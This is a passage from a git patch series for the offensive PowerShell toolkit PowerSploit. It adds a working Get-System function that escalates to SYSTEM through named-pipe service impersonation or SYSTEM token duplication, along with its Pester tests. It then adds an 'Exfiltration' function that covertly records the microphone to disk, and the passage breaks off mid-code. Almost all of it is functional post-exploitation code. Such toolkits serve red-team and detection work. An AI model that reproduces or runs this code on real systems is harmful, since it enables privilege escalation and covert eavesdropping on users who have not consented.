$false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 9777f2a..d3d9a97 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -22,7 +22,7 @@ Description = 'PowerSploit Privesc Module' PowerShellVersion = '2.0' # Functions to export from this module -FunctionsToExport = @( +FunctionsToExport = @( 'Find-DLLHijack', 'Find-PathHijack', 'Get-ApplicationHost', @@ -43,11 +43,12 @@ FunctionsToExport = @( 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI', - 'Get-SiteListPassword' + 'Get-SiteListPassword', + 'Get-System' ) # List of all files packaged with this module -FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 296829f..999d712 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -787,3 +787,45 @@ Describe 'Get-SiteListPassword' { } } } + + +Describe 'Get-System' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-System' Pester test needs local administrator privileges." + } + + AfterEach { + Get-System -RevToSelf + } + + It 'Should not throw with default parameters and should elevate to SYSTEM.' { + { Get-System } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Named pipe impersonation should accept an alternate service and pipe name.' { + { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It 'Should elevate to SYSTEM using token impersonation.' { + { Get-System -Technique Token } | Should Not Throw + "$([Environment]::UserName)" | Should Be 'SYSTEM' + } + + It '-WhoAmI should display the current user.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -WhoAmI } | Should Match 'SYSTEM' + } + + It 'RevToSelf should revert privileges.' { + { Get-System -Technique Token } | Should Not Throw + { Get-System -RevToSelf } | Should Not Throw + "$([Environment]::UserName)" | Should Not Match 'SYSTEM' + } + + It 'Token impersonation should throw with incompatible parameters.' { + { Get-System -Technique Token -WhoAmI } | Should Throw + } +} -- cgit v1.2.3 From debe4a565ebd51b740855e3e83b331a6d5fd7e33 Mon Sep 17 00:00:00 2001 From: sixdub Date: Thu, 12 May 2016 10:58:27 -0400 Subject: Added Get-MicrophoneAudio.ps1 and associated Pester tests --- Exfiltration/Exfiltration.psd1 | 3 +- Exfiltration/Get-MicrophoneAudio.ps1 | 187 +++++++++++++++++++++++++++++++++++ README.md | 4 + Tests/Exfiltration.tests.ps1 | 31 ++++++ 4 files changed, 224 insertions(+), 1 deletion(-) create mode 100755 Exfiltration/Get-MicrophoneAudio.ps1 (limited to 'Tests') diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index da78493..7df0835 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -31,6 +31,7 @@ FunctionsToExport = '*' FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1', - 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml' + 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml', + 'Get-MicrophoneAudio.ps1' } diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 new file mode 100755 index 0000000..41a16ba --- /dev/null +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -0,0 +1,187 @@ +function Get-MicrophoneAudio { +<# +.SYNOPSIS +Records audio from the microphone and saves to a file on disk +Author: Justin Warner (@sixdub) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info: +http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html +https://github.com/PowerShellMafia/PowerSploit + +Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/ + +.DESCRIPTION +Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk. + +.OUTPUTS +Outputs the FileInfo object pointing to the recording which has been saved to disk. + +.PARAMETER Path +The location to save the audio + +.PARAMETER Length +The length of the audio to record in seconds. Default: 30 + +.PARAMETER Alias +The alias to use for the WinMM recording. Default: Random 10 Chars + +.EXAMPLE +Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET" +Description +----------- +Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret" +#> + [OutputType([System.IO.FileInfo])] + Param + ( + [Parameter( Position = 0, Mandatory = $True)] + [ValidateScript({Split-Path $_ | Test-Path})] + [String] $Path, + [Parameter( Position = 1, Mandatory = $False)] + [Int] $Length = 30, + [Parameter( Position = 2, Mandatory = $False)] + [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_})) + + ) + + #Get-DelegateType from PowerSploit + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + #Get-ProcAddress from PowerSploit + function local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + #Initialize and call LoadLibrary on our required DLL + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $HND = $null + $HND = $LoadLibrary.Invoke('winmm.dll') + if ($HND -eq $null) + { + Throw 'Failed to aquire handle to winmm.dll' + } + + #Initialize the function call to count devices + $waveInGetNumDevsAddr = $null + $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs + $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32]) + if ($waveInGetNumDevsAddr -eq $null) + { + Throw 'Failed to aquire address to WaveInGetNumDevs' + } + $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate) + + #Initilize the function call to record audio + $mciSendStringAddr = $null + $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA + $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32]) + if ($mciSendStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciSendStringA' + } + $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate) + + #Initialize the ability to resolve MCI Errors + $mciGetErrorStringAddr = $null + $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA + $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool]) + if ($mciGetErrorStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciGetErrorString' + } + $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate) + + #Get device count + $DeviceCount = $waveInGetNumDevs.Invoke() + + if ($DeviceCount -gt 0) + { + + #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx + $errmsg = New-Object Text.StringBuilder 150 + + #Open an alias + $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias 